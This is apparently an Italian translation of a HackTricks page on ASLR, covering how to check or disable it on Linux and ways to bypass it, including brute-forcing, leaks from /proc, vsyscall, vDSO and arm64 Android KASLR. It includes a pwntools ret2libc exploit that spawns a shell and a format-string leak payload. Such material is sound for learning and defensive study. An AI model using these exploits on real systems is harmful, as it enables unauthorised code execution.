ASLR

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

• Controlla i piani di abbonamento!
• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
• Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.

Informazioni di base

Address Space Layout Randomization (ASLR) è una tecnica di sicurezza usata nei sistemi operativi per randomizzare gli indirizzi di memoria utilizzati dai processi di sistema e dalle applicazioni. In questo modo rende molto più difficile per un attaccante prevedere la posizione di specifici processi e dati, come lo stack, l’heap e le shared libraries, mitigando così alcuni tipi di exploit, in particolare i buffer overflow.

Verifica dello stato di ASLR

Per controllare lo stato di ASLR su un sistema Linux, puoi leggere il valore dal file /proc/sys/kernel/randomize_va_space. Il valore memorizzato in questo file determina il tipo di ASLR applicato:

• 0: Nessuna randomizzazione. Tutto è statico.
• 1: Randomizzazione conservativa. Shared libraries, stack, mmap(), VDSO page vengono randomizzati.
• 2: Randomizzazione completa. Oltre agli elementi randomizzati dalla randomizzazione conservativa, la memoria gestita tramite brk() viene randomizzata.

Puoi controllare lo stato di ASLR con il seguente comando:

cat /proc/sys/kernel/randomize_va_space

Disabilitare ASLR

Per disabilitare ASLR, imposta il valore di /proc/sys/kernel/randomize_va_space su 0. Disabilitare ASLR non è generalmente raccomandato al di fuori di scenari di testing o debugging. Ecco come puoi disabilitarlo:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Puoi anche disabilitare ASLR per un’esecuzione con:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

Abilitare ASLR

Per abilitare ASLR, puoi scrivere un valore di 2 nel file /proc/sys/kernel/randomize_va_space. Questo richiede tipicamente privilegi di root. L’abilitazione della randomizzazione completa può essere eseguita con il seguente comando:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Persistenza tra i riavvii

Le modifiche effettuate con i comandi echo sono temporanee e verranno azzerate al riavvio. Per rendere la modifica persistente, è necessario modificare il file /etc/sysctl.conf e aggiungere o modificare la seguente riga:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

Dopo aver modificato /etc/sysctl.conf, applica le modifiche con:

sudo sysctl -p

Questo garantirà che le tue impostazioni ASLR rimangano attive dopo i riavvii.

Bypasses

32bit brute-forcing

PaX divide lo spazio degli indirizzi di processo in 3 groups:

• Code and data (initialized and uninitialized): .text, .data, and .bss —> 16 bits of entropy in the delta_exec variable. Questa variabile viene inizializzata casualmente per ogni processo e aggiunta agli indirizzi iniziali.
• Memory allocated by mmap() and shared libraries —> 16 bits, named delta_mmap.
• The stack —> 24 bits, referred to as delta_stack. However, it effectively uses 11 bits (from the 10th to the 20th byte inclusive), aligned to 16 bytes —> This results in 524,288 possible real stack addresses.

I dati precedenti sono per sistemi a 32 bit e l’entropia finale ridotta rende possibile bypassare ASLR ripetendo l’esecuzione più volte finché l’exploit non ha successo.

Brute-force ideas:

• Se hai un overflow sufficientemente grande da ospitare una big NOP sled before the shellcode, potresti semplicemente brute-force gli indirizzi nello stack fino a quando il flusso jumps over some part of the NOP sled.
• Un’altra opzione, nel caso l’overflow non sia così grande e l’exploit possa essere eseguito localmente, è possibile add the NOP sled and shellcode in an environment variable.
• Se l’exploit è locale, puoi provare a brute-force l’indirizzo base di libc (utile per 32bit systems):

for off in range(0xb7000000, 0xb8000000, 0x1000):

• Se attacchi un server remoto, puoi provare a brute-force l’indirizzo della funzione libc usleep, passando come argomento 10 (per esempio). Se a un certo punto il server impiega 10s in più a rispondere, hai trovato l’indirizzo di questa funzione.

Tip

Nei sistemi 64bit l’entropia è molto più alta e questo non dovrebbe essere possibile.

64 bits stack brute-forcing

È possibile occupare gran parte dello stack con env variables e poi provare ad abuse the binary centinaia/migliaia di volte in locale per sfruttarlo.
Il codice seguente mostra come sia possibile selezionare semplicemente un indirizzo nello stack e che ogni qualche centinaio di esecuzioni quell’indirizzo conterrà la NOP instruction:

//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}

</details>

<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>

### Informazioni locali (`/proc/[pid]/stat`)

Il file **`/proc/[pid]/stat`** di un processo è sempre leggibile da tutti e **contiene informazioni interessanti** come:

- **startcode** & **endcode**: Indirizzi che delimitano la sezione **TEXT** del binario
- **startstack**: L'indirizzo dell'inizio dello **stack**
- **start_data** & **end_data**: Indirizzi che delimitano dove si trova la **BSS**
- **kstkesp** & **kstkeip**: Indirizzi correnti di **ESP** e **EIP**
- **arg_start** & **arg_end**: Indirizzi che delimitano dove risiedono i **cli arguments**
- **env_start** &**env_end**: Indirizzi che delimitano dove risiedono le **env variables**

Quindi, se un attaccante si trova sulla stessa macchina del binario vulnerabile e questo binario non si aspetta l'overflow dai raw arguments, ma da un input diverso che può essere costruito dopo aver letto questo file, è possibile per l'attaccante ottenere alcuni indirizzi da questo file e calcolare offset a partire da essi per l'exploit.

> [!TIP]
> Per maggiori informazioni su questo file controlla [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) cercando `/proc/pid/stat`

### Avere un leak

- **The challenge is giving a leak**

Se ti viene fornito un leak (easy CTF challenges), puoi calcolare gli offset a partire da esso (supponendo, per esempio, che tu conosca la versione esatta di libc usata nel sistema che stai sfruttando). Questo esempio di exploit è estratto da [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (controlla quella pagina per più dettagli):

<details>
<summary>Python exploit with given libc leak</summary>
```python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()

• ret2plt

Abusando di un buffer overflow sarebbe possibile sfruttare un ret2plt per esfiltrare l’indirizzo di una funzione dalla libc. Guarda:

Ret2plt

• Format Strings Arbitrary Read

Proprio come in ret2plt, se hai una arbitrary read tramite una vulnerabilità di format strings è possibile esfiltrare l’indirizzo di una libc function dal GOT. Il seguente esempio è preso da qui:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

Puoi trovare più informazioni su Format Strings arbitrary read in:

Format Strings

Ret2ret & Ret2pop

Prova a bypassare ASLR sfruttando indirizzi all’interno dello stack:

Ret2ret & Reo2pop

vsyscall

Il meccanismo vsyscall serve a migliorare le performance permettendo che certi system calls vengano eseguiti in user space, anche se sono fondamentalmente parte del kernel. Il vantaggio critico delle vsyscalls risiede nei loro indirizzi fissi, che non sono soggetti a ASLR (Address Space Layout Randomization). Questa natura fissa significa che gli attackers non richiedono una vulnerabilità di information leak per determinare i loro indirizzi e usarli in un exploit.
Tuttavia, qui non si troveranno gadget particolarmente interessanti (anche se, per esempio, è possibile ottenere l’equivalente di un ret;)

(L’esempio e il codice seguente provengono da this writeup)

Per esempio, un attacker potrebbe usare l’indirizzo 0xffffffffff600800 in un exploit. Tentare di saltare direttamente a un’istruzione ret potrebbe portare a instabilità o crash dopo l’esecuzione di un paio di gadget; invece, saltare all’inizio di un syscall fornito dalla sezione vsyscall può avere successo. Posizionando con cura un gadget ROP che porti l’esecuzione a questo indirizzo vsyscall, un attacker può ottenere code execution senza dover bypassare ASLR per questa parte dell’exploit.

 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g 
 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
```

vDSO
Nota quindi come possa essere possibile bypass ASLR abusing the vdso se il kernel è compilato con CONFIG_COMPAT_VDSO, poiché l’indirizzo vdso non verrà randomizzato. Per maggiori informazioni controlla:
Ret2vDSO
KASLR on ARM64 (Android): bypass via fixed linear map
Su molti kernel arm64 Android la kernel linear map (direct map) ha una base fissa tra i boot. Le Kernel VAs per le pagine fisiche diventano prevedibili, compromettendo KASLR per target raggiungibili tramite la direct map.

For CONFIG_ARM64_VA_BITS=39 (4 KiB pages, 3-level paging):
PAGE_OFFSET = 0xffffff8000000000
PHYS_OFFSET = memstart_addr (exported symbol)
Translation: virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)

Leaking PHYS_OFFSET (rooted or with a kernel read primitive)

grep memstart /proc/kallsyms per trovare memstart_addr
Leggi 8 byte a quell’indirizzo (LE) usando qualsiasi kernel read (es., tracing-BPF helper che chiama BPF_FUNC_probe_read_kernel)
Calcola gli indirizzi virtuali della direct map: virt = ((phys - PHYS_OFFSET) | 0xffffff8000000000)

Exploitation impact

Non serve un leak KASLR separato se il target è nella/reachable via la direct map (es., page tables, kernel objects su pagine fisiche che puoi influenzare/osservare).
Semplifica reliable arbitrary R/W e il targeting dei dati kernel su arm64 Android.

Reproduction summary

grep memstart /proc/kallsyms -> indirizzo di memstart_addr
Kernel read -> decodifica 8 byte LE -> PHYS_OFFSET
Usa virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET) con PAGE_OFFSET=0xffffff8000000000


Note
L’accesso ai tracing-BPF helpers richiede privilegi sufficienti; qualsiasi kernel read primitive o info leak è sufficiente per ottenere PHYS_OFFSET.

How it’s fixed

Lo spazio VA del kernel limitato insieme a CONFIG_MEMORY_HOTPLUG riserva VA per futuri hotplug, spingendo la linear map verso la VA più bassa (base fissa).
Upstream arm64 ha rimosso la linear-map randomization (commit 1db780bafa4c).


References

Defeating KASLR by Doing Nothing at All (Project Zero)
arm64: remove linear map randomization (commit 1db780bafa4c)
Tracing BPF arbitrary read helper (Project Zero issue 434208461)


Tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Controlla i piani di abbonamento!
Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.